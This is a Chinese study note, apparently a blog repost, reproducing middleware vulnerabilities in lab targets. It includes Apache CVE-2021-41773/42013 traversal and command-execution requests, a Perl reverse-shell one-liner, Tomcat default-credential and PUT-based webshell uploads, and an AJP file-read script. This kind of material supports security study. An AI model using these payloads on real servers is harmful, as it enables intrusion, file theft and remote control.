文章目录

  • 前记
  • 服务攻防——第七十九天
    • 中间件安全&IIS&Apache&Tomcat&Nginx&弱口令&不安全配置&CVE
      • 中间件 - IIS-短文件&解析&蓝屏等
      • 中间件 - Nginx-文件解析&命令执行等
        • 常见漏洞介绍
        • 漏洞复现
      • 中间件 - Apache-RCE&目录遍历&文件解析等
        • 常见漏洞介绍
        • 漏洞复现
          • CVE-2021-41773
          • CVE-2021-42013
      • 中间件 - Tomcat-弱口令&文件上传&文件包含等
        • 弱口令猜解
        • CVE-2017-12615
        • CVE-2020-1938
        • 其他CVE

前记

  • 今天是学习小迪安全的第七十九天,本节课内容是中间件安全,包括几大常见的中间件:IIS、Apache、Tomcat、Nginx等
  • 主要以实战为主,希望下去能自己复现一遍

服务攻防——第七十九天

中间件安全&IIS&Apache&Tomcat&Nginx&弱口令&不安全配置&CVE

中间件 - IIS-短文件&解析&蓝屏等

  1. 短文件:信息收集,前面讲过
  2. 文件解析:还有点用,前面讲过
  3. HTTP.SYS:蓝屏崩溃,前面讲过
  4. CVE-2017-7269:条件苛刻无意义
  • 在前面的四十一讲中讲到过,文章地址:小迪安全v2023学习笔记(四十一讲)-CSDN博客

中间件 - Nginx-文件解析&命令执行等

常见漏洞介绍
  1. CVE-2013-4547
    • 漏洞描述:后缀解析,文件名解析
    • 配置不当:该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
    • 影响版本Nginx 0.8.41~1.4.3 / 1.5.0~1.5.7
  2. CVE-2017-7529
    • 漏洞描述Nginx越界读取缓存漏洞,意义不大
    • 影响版本Nginx 0.5.6~1.13.2
  3. CVE-2021-23017
    • 漏洞描述:无EXP有POC,是拒绝服务漏洞,官方描述可以命令执行,但漏洞没有公开
    • 影响版本Nginx 0.6.18~1.20.0
    • PoC地址:https://github.com/M507/CVE-2021-23017-PoC
  • Nginx漏洞公开官网地址:https://nginx.org/en/security_advisories.html
漏洞复现
  • 这里我们演示一下CVE-2021-23017这个漏洞,首先我们需要启动昨天的Vulfocus,下载Nginx的靶场:
    在这里插入图片描述

  • 然后启动靶场,访问网站,能看到下面这个页面就说明是Nginx:
    在这里插入图片描述

  • 我们可以通过数据包看看它当前的版本是否符合我们漏洞的影响版本:
    在这里插入图片描述

  • 这里可以看到版本为1.18.0,符合我们的漏洞版本,这里就可以直接尝试利用PoC验证一下:

sudo python3 poc.py --target 192.168.0.143:34735 --dns_server 8.8.8.8
  • 直接使用这个poc.py是会报错的,因为它不能解析ip:port这种格式,需要让AI修改一下,然后再运行上面这个代码:
    在这里插入图片描述

  • 然后我们需要让受害者主机进行DNS解析,访问域名即可,但是这里是用的虚拟机,没有域名,而且本地域名用了我也没有复现成功,各位就下去自己试试看吧

中间件 - Apache-RCE&目录遍历&文件解析等

常见漏洞介绍
  1. CVE-2021-41773
    • 漏洞描述:CVE-2021-41773 是 Apache HTTP Server 2.4.49 中首次披露的路径穿越(目录遍历)漏洞,攻击者可绕过 URL 规范化,读取 Web 目录外的任意文件;若服务器同时启用 CGI/ScriptAlias,还可进一步实现远程命令执行(RCE)。
    • 影响版本Apache HTTP Server 2.4.49
    • 利用
#使用curl测试,前面是固定的,后面的/etc/passwd是要读取的文件
curl -v --path-as-is 'http://xx.xx.xx.xx/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'# 使用bp发包测试
GET /icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
  1. CVE-2021-42013
    • 漏洞描述:CVE-2021-42013 是 Apache 对 CVE-2021-41773 的“修补失败”产物:官方在 2.4.50 中只堵了单重编码的 %2e,却忘了处理双重 URL 编码,导致攻击者仍可用 .%%32e 再次绕过路径规范化,实现与 CVE-2021-41773 完全相同的危害:任意文件读取 + CGI 场景下 RCE。
    • 影响版本Apache HTTP Server 2.4.50
    • 利用
# 命令行
curl --data "echo;id" 'http://xx.xx.xx.xx/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'# 数据包
# 下面使用bp发post包,数据为要执行的命令
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
# 要执行的命令,这里是执行反弹shell命令
echo;perl -e 'use Socket;$i="192.168.0.103";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
  1. CVE-2017-15715

    • 漏洞描述:Apache HTTPD 是一款 HTTP 服务器。其 2.4.0~2.4.29 版本存在一个解析漏洞,在解析 PHP 时,1.php\x0A 将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策略。
    • 演示案例:Apache HTTPD 换行解析漏洞 (CVE-2017-15715) - kalibb - 博客园 (cnblogs.com)
  2. CVE-2017-9798:利用价值不大

  3. CVE-2018-11759:利用价值不大

  4. CVE-2021-37580:插件漏洞

漏洞复现
  • 这里我们就只复现一二两个漏洞(第三个是之前复现过的),然后需要下载对应的靶场
  • 我的本地靶场不知道怎么崩掉了,这里就还是使用在线的Vulfocus靶场,其实还是能用的
CVE-2021-41773

在这里插入图片描述

  • 首先看一下它的版本为Apache/2.4.49 (Debian),符合我们的漏洞版本,那这里就直接测试了:
    在这里插入图片描述

  • 成功读取到/etc/password的内容,说明漏洞是存在的

CVE-2021-42013
  • 这个的靶场就可以直接用上面这个,然后我们也是直接尝试PoC即可:
    在这里插入图片描述

  • 或者使用BP发包,也是OK的,比如这里也执行id命令:
    在这里插入图片描述

  • 当然,也可以尝试反弹Shell,或者正向Shell都是OK的

中间件 - Tomcat-弱口令&文件上传&文件包含等

弱口令猜解
  • 漏洞描述:Tomcat提供一个网页端的后台管理页面,该页面需要配置才可用,默认账号密码为tomcat/tomcat或者admin/admin,如果没有重新配置账号密码则可用默认用户登录,或者爆破弱口令登录;之后通过上传War包可拿Shell
  • 利用
    1. 先爆破tomcat登录弱口令
    2. 然后将生成的 webshell 后门如 1.jsp 压缩成 zip 后修改后缀为 war
    3. 上传 war 访问链接 / 1/1.jsp
    4. 文件存在,上传成功,使用工具连接即可
  • 演示
    • 首先配置tomcat账户,位置为/conf/tomcat-users.xml,添加如下用户
      在这里插入图片描述

    • 关闭杀软,然后启动tomcat,点击Manager App
      在这里插入图片描述

    • 输入默认账号和密码尝试登录,或者尝试弱口令爆破
      在这里插入图片描述

    • 然后就登录进来了,找到部署WAR文件的地方
      在这里插入图片描述

    • 我们利用哥斯拉生成一个jsp后门,然后压缩为压缩包,将后缀改为.war格式
      在这里插入图片描述

    • 上传,然后访问该war包下的1.jsp文件,出现空白说明文件存在
      在这里插入图片描述

    • 然后直接通过哥斯拉连接即可
      在这里插入图片描述

CVE-2017-12615
  • 漏洞描述:当存在漏洞的 Tomcat 运行在 Windows/Linux 主机上, 且启用了 HTTP PUT 请求方法( 例如, 将 readonly 初始化参数由默认值设置为 false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的 webshell 文件,JSP 文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限
  • 影响版本Apache Tomcat 7.0.0 - 7.0.81
  • 利用:使用 bp 发 PUT 包,数据为 jsp 后门代码,可以右键 Paste from file,然后选择后门文件 1.jsp 即可
// 基于Linux
PUT /x.jsp/
PUT /xx.jsp%20// 基于Windows
PUT /xxx.jsp::$DATA
  • 演示
    • 这里关闭杀软,生成一个jsp木马,然后访问靶场进行抓包,右键 Paste from file 选中刚刚的文件,并将提交方式改为PUT:
      在这里插入图片描述

    • 显示201说明上传成功,我们访问该文件,空白说明文件存在:
      在这里插入图片描述

    • 直接尝试哥斯拉连接,成功:
      在这里插入图片描述

CVE-2020-1938
  • 漏洞描述Apache Tomcat AJP 协议(默认 8009 端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器 webapp 目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。
  • 影响版本
    • Tomcat 6.*
    • Tomcat 7.* < 7.0.100
    • Tomcat 8.* < 8.5.51
    • Tomcat 9.* < 9.0.31
  • 利用:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 目标IP -p 目标端口 -f 读取的文件名
  • 演示
    • 启动靶场,然后直接脚本一把梭即可,比如这里读取 /WEB-INF/web.xml 文件:
      在这里插入图片描述

    • 如果该站点存在文件上传功能,那可以配合实现RCE

其他CVE
  • CVE-2020-11996拒绝服务:危害过大,权限无关,意义不大
  • CVE-2020-9484反序列化:利用条件太苛刻,意义不大
  • 参考:Tomcat常见安全漏洞 | 高木のBlog

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/921533.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/921533.shtml
英文地址,请注明出处:http://en.pswp.cn/news/921533.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《云原生微服务治理进阶:隐性风险根除与全链路能力构建》

云原生微服务架构已成为企业支撑业务快速迭代的核心载体&#xff0c;但治理能力的滞后却常常成为制约发展的短板。许多企业在完成服务容器化、部署自动化后&#xff0c;便陷入了“架构先进但治理粗放”的困境—服务数量激增导致依赖关系失控&#xff0c;流量波动加剧引发资源配…

因泰立科技:用激光雷达重塑智能工厂物流生态

应对AGV碰撞困局——激光雷达如何重塑智能工厂物流在现代化工厂中&#xff0c;AGV&#xff08;自动引导车&#xff09;与移动机器人已成为提升生产效率的重要设备。然而&#xff0c;这些智能设备在忙碌的工厂环境中&#xff0c;却时常面临碰撞的困扰。这不仅影响了生产效率&…

Remove.bg:精准自动抠图工具,高效解决图片去背景需求

有没有做设计时被 “抠图去背景” 搞到崩溃的朋友&#xff1f;上次小索奇帮同事做活动海报&#xff0c;要把人物图从复杂背景里抠出来&#xff0c;用 PS 选了半天钢笔工具&#xff0c;头发丝还是漏一块缺一块&#xff0c;折腾半小时都没弄好 —— 后来被设计圈的朋友安利了 Rem…

功率器件固晶挑战:抗高温翘曲治具提升IGBT焊接强度30%

功率器件封装新突破&#xff1a;耐高温防变形工装助力IGBT模块焊接强度提升30%在功率半导体封装领域&#xff0c;IGBT模块的芯片贴装工艺正面临严峻挑战。随着功率密度不断提升&#xff0c;传统固晶工装在高温环境下易发生形变&#xff0c;导致焊接层产生空洞、裂纹等缺陷。最新…

MATLAB可以实现的各种智能算法

MATLAB可以实现的各种智能算法(包括但不限于)中文名称英文全称缩写出现年份算法来由&#xff08;灵感来源&#xff09;遗传算法Genetic AlgorithmGA1975模拟达尔文生物进化论的自然选择和遗传学机理&#xff08;选择、交叉、变异&#xff09;粒子群优化算法Particle Swarm Opti…

【iOS】push,pop和present,dismiss

文章目录前言push和poppresent和dismiss基本方法属性说明常见的用法运行演示push和present区别前言 在之前的学习中&#xff0c;我们发现iOS有两种用于推出新界面的常用方法&#xff0c;分别是push和present&#xff0c;但是二者存在很多区别 present只能返回自己的上一级视图…

编写后端JAR包蓝绿发布脚本

前端发布脚本的功能 保留每一个发布版本&#xff0c;防止新版本异常&#xff0c;方便回撤用户无感知&#xff0c;防止发布过程中的宕机 原理&#xff1a; 发布的JAR包只是一个软连接&#xff0c;新的JAR启动正常后&#xff0c;切换软连接指向即可。蓝绿JAR包绑定端口不同&…

Kafka 和 RabbitMQ的选择

h5打开以查看 选择 Kafka 还是 RabbitMQ&#xff08;或其他传统消息队列&#xff09;并不是一个谁比谁更好的问题&#xff0c;而是 “哪种工具更适合你的特定场景” 的问题。 它们的设计哲学、核心架构和目标用例有根本性的不同。简单来说&#xff1a; RabbitMQ 是一个消息代理…

LeetCode 刷题【66. 加一、67. 二进制求和】

66. 加一 自己做 解&#xff1a;逢十进位 class Solution { public:vector<int> plusOne(vector<int>& digits) {int add 1; //进位vector<int> res(digits.size() 1); //防止多一位的情况&#xff1a;9 1 10for(int i (int)digits…

《MATLAB 批量把振动 CSV(含中文“序号/采样频率”)稳健转成 .mat:自动解析+统一换算+按 H/I/O/F-rpm-fs-load 命名》

一文搞定&#xff1a;批量把中文头信息的 CSV&#xff08;含“序号/采样频率”等&#xff09;稳健转成 .mat&#xff0c;并按规则重命名&#xff08;H/I/O/F-rpm-fs-load&#xff09;1. 项目背景 在振动/故障诊断采集里&#xff0c;我们经常得到一批 CSV 文件&#xff0c;文件名…

Unity与硬件交互终极指南:从Arduino到自定义USB设备

这篇教程将遵循“是什么-为什么-怎么做”的结构,从宏观思路讲起,再深入到具体的技术实现,并附上可以直接使用的详细代码和注释,确保不同水平的读者都能从中受益。 前言:当虚拟照进现实 在游戏开发和交互设计的世界里,我们常常满足于键盘、鼠标和手柄。但当你想要创造真正…

Tomcat 日志文件名的命名规范

1. 核心日志类型及命名规范 (1) Catalina 日志&#xff08;引擎级日志&#xff09; 文件名&#xff1a;catalina.<yyyy-MM-dd>.log说明&#xff1a;记录 Tomcat 启动、关闭、严重错误等全局事件。示例&#xff1a;catalina.2025-09-07.log (2) Access 日志&#xff08;访…

.vsdx文件转pdf、word、ppt等文件在线分享(免费版)

网址如下&#xff1a; https://www.easeconvert.com/visio-to-pdf/ 只需要把.vsdx文件放到网址中即可

如何在Docker容器之间进行通信?

目录 1. 使用 Docker 网络(推荐) 步骤: 特点: 2. 端口映射(主机中转) 步骤: 特点: 3. 使用 link(不推荐,已过时) 4. 跨主机容器通信 总结 在 Docker 中,容器之间的通信可以通过多种方式实现,选择哪种方式取决于你的具体需求(如网络隔离性、跨主机通信等…

从 “Hello AI” 到企业级应用:Spring AI 如何重塑 Java 生态的 AI 开发

&#x1f525;个人主页&#xff1a;草莓熊Lotso &#x1f3ac;作者简介&#xff1a;C研发方向学习者 &#x1f4d6;个人专栏&#xff1a; 《C语言》 《数据结构与算法》《C语言刷题集》《Leetcode刷题指南》 ⭐️人生格言&#xff1a;生活是默默的坚持&#xff0c;毅力是永久的…

震惊!仅用10张照片就能随意编辑3D人脸?韩国KAIST最新黑科技FFaceNeRF解析!

FFaceNeRF模块 论文《FFaceNeRF: Few-shot Face Editing in Neural Radiance Fields》 深度交流Q裙&#xff1a;1051849847 全网同名 【大嘴带你水论文】 B站定时发布详细讲解视频 视频地址&#xff0c;点击查看论文详细讲解&#xff0c;每日更新&#xff1a; https://b23.t…

spring-ai-alibaba-deepresearch 学习(十四)——CoderNode

本篇为spring-ai-alibaba学习系列第四十篇前面介绍 ParalellExecutorNode 会为后续的 m 个 CoderNode 分配任务现在来看一下处理型任务的处理节点 coder_{i}该类节点主要负责执行一些操作&#xff0c;例如执行python代码、调用mcp等提示词以下是该文档的中文翻译&#xff1a;--…

基于STM32设计的激光充电控制系统(华为云IOT)_277

文章目录 一、前言 1.1 项目介绍 【1】项目开发背景 【2】设计实现的功能 【3】项目硬件模块组成 【4】设计意义 【5】国内外研究现状 【6】摘要 1.2 设计思路 1.3 系统功能总结 1.4 开发工具的选择 【1】设备端开发 【2】上位机开发 1.5 参考文献 1.6 系统框架图 1.7 系统原理…

【牛客拼数最大对比从左至右每位break与continue】2022-11-5

缘由牛客拼数最大问题&#xff0c;不从结果出发那种做法-编程语言-CSDN问答 思路倒序数后从右逐位比较大小 int 反序数(int n) {int nn 0;while (n)nn nn * 10 n % 10, n / 10;return nn; } void 牛客拼数位最大对比() {//4 7 13 4 246;3 13 312 343;3 1 2 3int a[20]{}, x…

【考研C语言编程题】数组元素批量插入实现(含图示+三部曲拆解)

【考研C语言编程题】数组元素批量插入实现&#xff08;含图示三部曲拆解&#xff09; 一、题目要求 编写C语言程序&#xff0c;实现将数组b的所有元素批量插入到数组a的指定位置&#xff08;位置从0开始计数&#xff09;。要求严格遵循“腾出空间→插入元素→更新长度”的操作三…